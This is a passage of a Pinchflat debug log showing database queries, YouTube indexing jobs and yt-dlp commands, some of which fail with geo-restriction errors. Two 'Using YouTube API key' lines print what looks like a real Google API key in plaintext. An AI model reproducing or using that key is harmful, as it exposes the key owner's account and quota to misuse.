'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 16:26:34.179 [debug] QUERY OK source="tasks" db=0.1ms idle=87.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799966, 28, ~U[2026-02-10 22:26:34Z], ~U[2026-02-10 22:26:34Z]] 16:26:34.179 [info] {"args":{"id":28},"id":3799928,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":88826,"event":"job:stop","queue_time":622365,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:34.936 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/33/3d/333d5e1282573db329fd38e22ac5de710a3a2f12543fe9352468f912269dd034.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:26:34.936 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:26:34.936 [debug] QUERY OK source="settings" db=0.1ms idle=757.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:34.936 [debug] QUERY OK source="settings" db=0.0ms idle=757.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:34.936 [debug] Running yt-dlp command for action: get_media_attributes 16:26:34.947 [debug] QUERY OK source="settings" db=0.0ms idle=767.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:34.947 [debug] QUERY OK source="settings" db=0.0ms idle=767.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:34.947 [debug] QUERY OK source="settings" db=0.0ms idle=761.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:34.947 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ab/66/ab66dbeea6e2b79dc6c7a07fd62a165f5c52bfd8bae34e51696ef183623d4e00.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:26:35.960 [info] {"args":{"id":16},"id":3799929,"meta":{},"system_time":1770762395960057268,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:35.960 [debug] QUERY OK source="sources" db=0.2ms idle=1013.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 16:26:35.960 [debug] QUERY OK source="settings" db=0.2ms idle=1013.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:35.961 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:35.961 [debug] QUERY OK source="settings" db=0.0ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:35.961 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 16:26:35.961 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:35.961 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:36.041 [debug] QUERY OK source="media_items" db=0.5ms idle=80.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 16:26:36.043 [debug] QUERY OK source="media_items" db=0.8ms idle=81.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 16:26:36.043 [debug] QUERY OK source="tasks" db=0.1ms idle=82.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799967, 16, ~U[2026-02-10 22:26:36Z], ~U[2026-02-10 22:26:36Z]] 16:26:36.043 [info] {"args":{"id":16},"id":3799929,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":83768,"event":"job:stop","queue_time":508444,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:36.374 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ab/66/ab66dbeea6e2b79dc6c7a07fd62a165f5c52bfd8bae34e51696ef183623d4e00.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:26:36.374 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:26:36.374 [debug] QUERY OK source="settings" db=0.1ms idle=331.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:36.375 [debug] QUERY OK source="settings" db=0.1ms idle=331.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:36.375 [debug] Running yt-dlp command for action: get_media_attributes 16:26:36.376 [debug] QUERY OK source="settings" db=0.0ms idle=332.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:36.376 [debug] QUERY OK source="settings" db=0.0ms idle=332.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:36.377 [debug] QUERY OK source="settings" db=0.0ms idle=327.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:36.377 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c5/79/c579b0f1dd73e19076b4c19c41e8acbadb77d3590c86159b9a622fd9df908e44.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:26:36.960 [info] {"args":{"id":43},"id":3799930,"meta":{},"system_time":1770762396960624089,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:36.960 [debug] QUERY OK source="sources" db=0.1ms idle=583.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 16:26:36.961 [debug] QUERY OK source="settings" db=0.1ms idle=584.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:36.961 [debug] QUERY OK source="media_profiles" db=0.1ms idle=584.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:36.961 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:36.961 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 16:26:36.961 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:36.961 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:37.067 [debug] QUERY OK source="media_items" db=0.5ms idle=106.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", 